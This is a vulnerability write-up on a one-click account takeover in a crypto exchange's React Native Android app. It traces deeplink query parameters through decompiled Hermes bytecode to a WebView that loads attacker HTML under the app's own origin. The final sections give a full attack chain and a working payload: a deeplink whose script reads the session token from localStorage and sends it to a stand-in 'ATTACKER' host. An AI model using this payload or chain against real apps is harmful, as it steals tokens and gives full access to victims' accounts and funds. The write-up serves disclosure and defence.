Skip to content
← All research

A 1-Click account takeover in a Crypto app

Oct 18, 20268 min read

بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ

The app ships a React Native app whose deeplink router lives entirely in the Hermes JS bundle. The native side RNAppLink.onNewIntent is a pure forwarder it to JS over DeviceEventEmitter and without any validation In JS parseAppLink copies every query parameter into navigation state and dispatches on page= with no route allowlist. The page=webview route reaches WebViewPage, which reads html and baseUrl from the attacker controlled params and calls WebView.loadDataWithBaseURL(html, baseUrl, …) so here is our sink Attacker controls the document body and the document origin and that leaed to universal XSS Note: first-party origin that holds the session token in localStorage.

Hermes

Before we start analyzing a React Native application, we need to understand what Hermes is and how it works.

React Native applications typically implement much of their application logic in JavaScript, including navigation, input validation, and business rules. Hermes is an open-source JavaScript engine developed by Meta and optimized for React Native applications.

Instead of shipping the JavaScript source code as a collection of readable .js files, applications using Hermes commonly include the compiled JavaScript bundle at:

assets/index.android.bundle

This file typically contains Hermes bytecode, which is a compiled representation of the JavaScript code rather than the original source code.

From a security research perspective, understanding Hermes is important because analyzing a React Native application may require inspecting and decompiling its bytecode to recover application logic, identify sensitive data, and investigate potential vulnerabilities.

Why Hermes Matters in Android Security Analysis

  • Native tools are not enough. jadx and smali show the native Android code, but important application logic may be hidden in the Hermes bytecode.

  • You need to disassemble the bytecode. Tools like hermes-dec help inspect instructions and strings to understand how the JavaScript logic works.

  • Function names can help. Names like isUrlInWhitelist can help us quickly identify security checks and trace application behavior.

  • Use the correct tool version. The analysis tool must support the app's Hermes bytecode version to produce valid results.

Key takeaway: To properly assess a React Native application, we must analyze both the native Android code and the Hermes bytecode.

How we found it

The deeplink surface is entirely in the Hermes bundle, so a manifest/jadx-only pass sees nothing: RNAppLink.onNewIntent just emits the raw URI to JS and the real routing is bytecode. First pass with 22 path-style deeplinks (/web?url=, /webview?url=) came back clean — a false negative, because the router dispatches on the query param page=, not the path.

A note here. The deeplink logic lives in Hermes bytecode, which runs inside the Hermes VM there are no Java/native symbols for Frida to hook, so parseAppLink #8268, WebViewPage #60805, isUrlInWhitelist #60830 cannot be traced at runtime. We recovered that whole layer statically by disassembling assets/index.android.bundle with hermes-dec (hermes/disasm.hasm) and walking it sink-first. Frida was used at the native/Java boundary (see step 1) to confirm the deeplink reaches the native sinks;. The snippets below are the JS reconstructed from the cited hermes-dec function IDs and string-table loads.

# Frida 
[RNAppLink.onNewIntent]: exchange://link.exchange.example/x?page=webview&url=https://example.com
  1. Find the forwarder. Native RNAppLink.onNewIntent → DeviceEventEmitter 'exchange_link_received' Grep the bundle for that string → the JS listener → await parseAppLink(uri) → navigateLink #49083 (dispatched from the async-generator wrapper #49087)

    // jadx: native side is a pure forwarder, zero validation
    RNAppLink.onNewIntent(Intent i) {
        emitDeviceEvent("exchange_link_received", i.getData());
    }
    
    // hermes-dec: grep bundle "exchange_link_received" -> the JS listener
    DeviceEventEmitter.addListener("exchange_link_received", async (uri) => {
        const link = await parseAppLink(uri);   // #8265 (real body #8268)
        navigateLink(link);                      // #49083, via async-gen #49087
    });
  2. Read the parser (#8268). It branches on pathname.startsWith('/sl/'): /sl/ short links are server-resolved (safe-ish), everything else is client-parsed — searchParams.forEach(obj[k]=v) copies every query param verbatim, with params getting JSON.parse. Return gate is only url && (webOnly||page). That one branch is the whole bug: all of page, url, mUrl, baseUrl, html, webOnly are attacker-authored for any non-/sl/ path.

    // parseAppLink body #8268 (reconstructed from hermes-dec)
    const u = new URL(uri);
    if (u.pathname.startsWith("/sl/")) {
        // Branch B: server-resolved short link — fields come from the backend
        return await Network.get({ url: linkApiHost + u.pathname + u.search });
    }
    // Branch A: client-parsed — EVERY query param copied verbatim (#8270)
    const obj = { link: uri, page: "", url: "" };
    u.searchParams.forEach((v, k) => obj[k] = (k === "params") ? JSON.parse(v) : v);
    return (obj.url && (obj.webOnly || obj.page)) ? obj : null;   // the ONLY gate
  3. Follow page to the router (#13362/#49083). navigation.navigate(page, params) with no route allowlist (455 routes, key===value map #25365). page=webview → WebViewPage (#60805).

    // navigateLink #49083
    const page = link.page;
    navigation.navigate(page, getAppLinkParams(link));   // no route allowlist
    
    // route dispatcher #13362  (route map #25365, key === value, 455 routes)
    switch (page.split(".")[0]) {
        case "webview":   // string id 61435
            return WebViewPage;          // #60805
        // ...
    }
  4. Read the sink (#60805). source is built as {uri: rewriteWebUrl(url)} or an html-mode {html, baseUrl} branch — both straight from route.params (which getAppLinkParams #8272 fills via Object.assign({}, link.params)). So the page=webview route takes attacker html + attacker baseUrl → loadDataWithBaseURL.

    // getAppLinkParams #8272
    const params = Object.assign({}, link.params);   // attacker-authored
    
    // WebViewPage render #60805
    const source = params.html
        ? { html: params.html, baseUrl: params.baseUrl }   // <- attacker body + attacker origin
        : { uri: rewriteWebUrl(params.url) };
    // ... bridged to the native WebView:
    WebView.loadDataWithBaseURL(baseUrl, html, "text/html", "UTF-8", null);
  5. Check the guard (#60829/#60830). The privileged accountInfo token bridge (#60831) is gated by a solid dot-anchored 9-domain allowlist re-checked on every navigation — which is exactly why the first on-device token-bridge PoC returned nothing. But loadDataWithBaseURL asserts the origin rather than navigating to it, so the gate is structurally irrelevant: the attacker JS is already https://www.exchange.example and reads the token from localStorage directly.

    // isUrlInWhitelist comparator #60830 — genuinely solid, dot-anchored
    const host = new URL(url).hostname;
    DOMAINS.some(d => host === d || host.endsWith("." + d));   // 9 hardcoded bases
    
    // WebViewPage #60829 wires the bridge only if the LIVE url is whitelisted,
    // re-checked on every nav by onNavigationStateChange #60842:
    if (isUrlInWhitelist(liveUrl)) wire(accountInfo /* #60831 */);
    
    // BUT loadDataWithBaseURL ASSERTS the origin, it never navigates:
    //   -> navState.url stays unset -> the gate never evaluates
    //   -> token read straight from localStorage, the bridge isn't even needed
    localStorage.getItem("key_account_token");   // -> exfil -> ATO

Root cause

parseAppLink has no allowlist, so everything the page param reaches inherits that. The same deeplink exchange://link.exchange.example/x (and the App Link https://link.exchange.example/x, which opens the app with no chooser) does three different things depending on page:

  • page=link → openURL(url) → opens our URL in the system browser.
  • page=webview&url=<any> → loads our URL in the in-app WebView. We're in the app's WebView, and the token bridge (accountInfo, via window.ReactNativeWebView.postMessage) is right there — we called it, but it returned nothing: the bridge is gated to 9 whitelisted domains.
  • page=webview + params={"baseUrl":"https://www.exchange.example/","html":"<attacker JS>"} → loadDataWithBaseURL(html, baseUrl) runs our JS as https://www.exchange.example, so now we read key_account_token from localStorage → ATO

Why the whitelist didn't save them

The app does defend the privileged native accountInfo bridge (which hands out access + refresh tokens to postMessage). WebViewPage wires that bridge only when isUrlInWhitelist(liveUrl) is true, and the matcher is genuinely solid:

hostname === d || hostname.endsWith('.' + d)   // dot-anchored, WHATWG hostname
over 9 hardcoded, vendor-owned bases (exchange.example, exchangeapp.example, exchange-dev.example, …)

Redirects are rechecked (onNavigationStateChange re-runs the matcher on the live host), pushState is SOP bound, and all 9 bases are live vendor-owned (Route53, no dangling CNAME). So the usual look like / includes / @ / open-redirect / scheme tricks all fail. There is no mobile-only way to make the bridge fire. based on my little knowledge in JS

It doesn't matter. loadDataWithBaseURL doesn't navigate anywhere it synthesises a document and tells the WebView its origin is baseUrl. The RN-tracked navState URL stays unset, so the bridge gate never even evaluates but the attacker JS is already running as https://www.exchange.exampleand can read that origin's localStorage directly. The token is sitting there in cleartext (key_account_token). The bridge was never needed. The allowlist guards the wrong door.

Attack chain

  1. Attacker builds a link.exchange.example App Link carrying page=webview, a top-level url= (only to satisfy the parseAppLink gate), and a params JSON containing baseUrl=https://www.exchange.example/ plus the attacker html.

  2. Victim logged-in taps the link — SMS, chat, email, QR. link.exchange.example is autoVerify-DAL-verified, so the tap opens the app directly, no chooser, no "Open app?" dialog.

  3. App routes to WebViewPage → loadDataWithBaseURL(attackerHtml, "https://www.exchange.example/").

  4. Attacker JS executes under origin https://www.exchange.example (origin=https://www.exchange.example, rnwv=object).

  5. localStorage.getItem('key_account_token') returns the real token the genuine the app store KEY_SIGNED, key_account_token, key_balance_original_cache_…, <OAuth-session data> none of which the attacker HTML created.Same-origin fetch('https://www.exchange.example/…') also works (got an HTTP response, not CORS-blocked).

  6. new Image().src = 'https://ATTACKER/steal?t=' + token → token at attacker collector → replay against the the app API = full account access (balances, trading, withdrawal flows).

Payload

exchange://link.exchange.example/x?page=webview&url=https%3A%2F%2Fwww.exchange.example%2F&params=<urlenc JSON>

where the decoded params is:

{"baseUrl":"https://www.exchange.example/",
 "html":"<html><body><script>var t=localStorage.getItem('key_account_token');new Image().src='https://ATTACKER/steal?t='+encodeURIComponent(t);</script></body></html>"}